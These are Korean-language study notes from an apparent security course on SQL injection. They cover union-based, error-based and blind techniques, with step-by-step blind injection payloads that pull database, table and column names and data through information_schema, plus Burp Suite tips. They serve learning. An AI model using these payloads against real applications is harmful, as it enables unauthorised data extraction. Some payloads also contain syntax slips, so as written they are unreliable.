Union SQLInjection 이 안될때
+) Union SqlInjection은 sql injection 결과가 화면에 출력되는 경우 사용가능
+) 대표적인 예는 게시판 But sql injection 결과가 화면에 출력되는 곳은 사용가능
+) 필수조건은 컬럼 갯수를 알아야함
order by 나 union select '1'# -> union select '1','1'# ...하나씩 늘려가서 error나올때까지
Errorbased SQLInjection 이 안될때
+) error 메시지가 화면에 출력되야 사용가능
+) 로직에러이거나 sql에러이어야함
둘다 안될시 Blind Sql injection 사용
+) 참거짓 응답차이로 알아냄
+) 대표적인 예시로 로그인과 아이디 중복체크화면이 있다.
3-1 a' and (ascii(substr(_sql__), 1,1)>0) and '1'='1
3-2 substr((select 'test'),1,1)='t'를 대입하여 테스트 진행
3-3 (ascii(substr(select '글자하나가 나올만한 단어'), 1,1)>0) ex) id
3-4 0보다 크게라는 조건을 설정한 이유는 ascii코드로 변환때문에 글자가 존재하면 0보다 크다.
3-5 숫자 맞추기 게임처럼 중간 값을 계속 넣어 정답에 효율적으로 접근한다. ascill -> 32-127
3-6 Burp Suite repeater를 사용하여 효율적으로 처리할 수 있음
+) request 창에 query -> url코드로 되어있음 -> 우클릭 -> convert selection -> URL -> URL decoding 클릭
+) response 창 하단 검색창에 결과값((ex) 존재하는 이이디 입니다.) 기입 -> 톱니바퀴 클릭-> auto scroll 체크 -> send 보내고 결과값에서 자동으로 기입한 글 찾아줌
DB이름 출력 sql문
select database()
ex)
a' and (ascii(substr(select database()), 1,1)>0) and '1'='1
1,1) >0 부분에서 0부분을 조정하여 숫자맞추기처럼 답을 맞춤
70일때 참이고 71일때 거짓이면 답은 71 -> >에 =이 포함되지 않아서
Table 이름 출력하는 sql문
select table_name from information_schema.tables where table_schema='DB이름' limit 0,1
ex) a' and (ascii(substr(select table_name from information_schema.tables where table_schema='DB이름' limit 0,1), 1,1)>0) and '1'='1
Column 이름 출력하는 sql문
select column_name from information_schema.columns where table_schema='DB이름' limit 0,1
ex) a' and (ascii(substr(select column_name from information_schema.columns where table_schema='DB이름' limit 0,1), 1,1)>0) and '1'='1
정보추출 sql문
select '찾은 column' from '찾은 table' limit 0,1
ex) a' and (ascii(substr(select '찾은 column' from '찾은 table' limit 0,1), 1,1)>0) and '1'='1
랜덤으로 지정된 숫자를 맞추는 게임 틀릴경우 up & down으로 알려줌
범위의 가운데를 물어보는 것이 효율적
ex) 1-100숫자 -> 50 ->up이라면 ->75 -> 업이라면 87 .....
ex) a' and (ascii(substr(select database()), 1,1)>0) and '1'='1
1,1) >0 부분에서 0부분을 조정하여 숫자맞추기처럼 답을 맞춤
70일때 참이고 71일때 거짓이면 답은 71 -> >에 =이 포함되지 않아서
| name | job |
|---|---|
| json | programer |
| adam | doctor |
| max | teacher |
-> limit 0,1 1번째부터 1개 출력
josn programer
-> limit 0,2 1번째부터 2개 출력
json progmaer
adam doctor
-> limit 1,1 2번째부터 1개 출력
adam doctor
-> limit 1,2 2번째부터 2개출력
adam doctor
max teacher
-- Normaltic Study 7주차 --